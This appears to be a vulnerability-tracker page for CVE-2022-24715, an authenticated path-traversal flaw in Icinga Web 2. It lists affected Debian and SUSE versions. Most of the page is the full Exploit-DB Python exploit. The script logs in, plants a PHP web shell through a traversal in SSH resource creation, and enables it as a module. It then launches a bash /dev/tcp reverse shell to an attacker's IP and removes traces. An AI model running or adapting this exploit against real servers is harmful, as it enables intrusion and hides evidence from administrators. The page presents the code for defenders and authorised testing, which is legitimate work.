CVE-2022-24715

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code. This issue has been resolved in versions 2.8.6, 2.9.6 and 2.10 of Icinga Web 2. Users unable to upgrade should limit access to the Icinga Web 2 configuration.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-51586 webapps php python · 7 KB
Dante Corona · 2023-07-15

Icinga Web 2.10 - Authenticated Remote Code Execution

python exploit Source: Exploit-DB
#!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution 
# Date: 8/07/2023
# Exploit Author: Dante Corona(Aka. cxdxnt)
# Software Link: https://github.com/Icinga/icingaweb2
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715

import requests,argparse,re,random,string
from colorama import Fore,Style

def letter_random():
    letras = string.ascii_lowercase
    character_random = random.choices(letras, k=6)
    return ''.join(character_random)


def users_url_password():
    parser = argparse.ArgumentParser(description='Descripción de tu programa.')
    parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')
    parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')
    parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseña -P password')
    parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')
    parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')
    args = parser.parse_args()
    url = args.url
    user = args.user
    password=args.password
    ip_attack = args.ip 
    port_attack = args.port

    return url,user,password,ip_attack,port_attack

def login(url,user,password):
    try:
        login_url = url + "/icingaweb2/authentication/login"
        session = requests.Session()
        r = session.get(login_url)
        csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
        data_post = {"username":user,
                    "password":password,
                    "CSRFToken":csrf_regex,
                    "formUID":"form_login",
                    "btn_submit":"Login"
                    }
        response = session.post(login_url,data=data_post)
        if "Welcome to Icinga Web!" in response.text:
            print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")
            r = session.get(login_url)
        else:
            print("[!]Failed to login.")
            exit(1)
        #return session,csrf_regex   
    except requests.exceptions.InvalidURL:
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
        exit(1)
    return session,csrf_regex

def upload_file(session,url,character_random,csrf_regex):
    webshell = f"""-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
-----END RSA PRIVATE KEY-----
<?php system($_REQUEST["%s"]);?>
"""%character_random
    upload_url = url + "/icingaweb2/config/createresource"
    r = session.get(upload_url)
    csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
    data_post ={"type":"ssh",
                "name":"shm/"+character_random,
                "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",
                "private_key":webshell,
                "formUID":"form_config_resource",
                "CSRFToken":csrf,
                "btn_submit":"Save Changes"
                }
    upload_response = session.post(upload_url,data=data_post)
    check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")
    if check.status_code != 200 :
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")
        exit(1)
    else:
        print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")
    
def enable_module(session,url,character_random):
    url_module = url+"/icingaweb2/config/general"
    r_module = session.get(url_module)
    csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]
    data_post = {"global_show_stacktraces":"0",
                 "global_show_stacktraces":"1",
                 "global_show_application_state_messages":"0",
                 "global_show_application_state_messages":"1",
                 "global_module_path":"/dev/shm/",
                 "global_config_resource":"icingaweb2",
                 "logging_log":"none",
                 "themes_default":"Icinga",
                 "themes_disabled":"0",
                 "authentication_default_domain":"",
                 "formUID":"form_config_general",
                 "CSRFToken":f"{csrf_module}",
                 "btn_submit":"Save Changes"
                 }
                 
    resul = session.post(url_module,data_post)
    #--------------------------------------------------
    url_enable = url +"/icingaweb2/config/moduleenable"
    r_enable = session.get(url_enable)
    csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]
    data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}
    resul_enable = session.post(url_enable,data_enable)


def reverse_shell(session,url,ip_attack,port_attack,character_random):
    reverse_url = url + "/icingaweb2/dashboard"
    reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'
    reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"
    reverse_response_one = session.get(reverse_exe_one)
    try:
        reverse_response_two = session.get(reverse_exe_two, timeout=5)
    except:
        print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence")
        
    remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}")
    disable_url = url + "/icingaweb2/config/moduledisable"
    r_disable = session.get(disable_url)
    csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0]
    data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"}
    response_disable = session.post(disable_url,data=data_disable)



def disable_module(session,url,character_random):
    url_disable = url + "/icingaweb2/config/moduledisable"



if __name__ == '__main__':
    character_random = letter_random()
    url,user,password,ip_attack,port_attack = users_url_password()
    session,csrf_regex = login(url,user,password) 
    upload_file(session,url,character_random,csrf_regex)
    enable_module(session,url,character_random)
    reverse_shell(session,url,ip_attack,port_attack,character_random)

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Mixed 5 releases
VersionStatusFixed in
trixie Fixed 2.9.6-1
sid Fixed 2.9.6-1
forky Fixed 2.9.6-1
bullseye Affected
bookworm Fixed 2.9.6-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.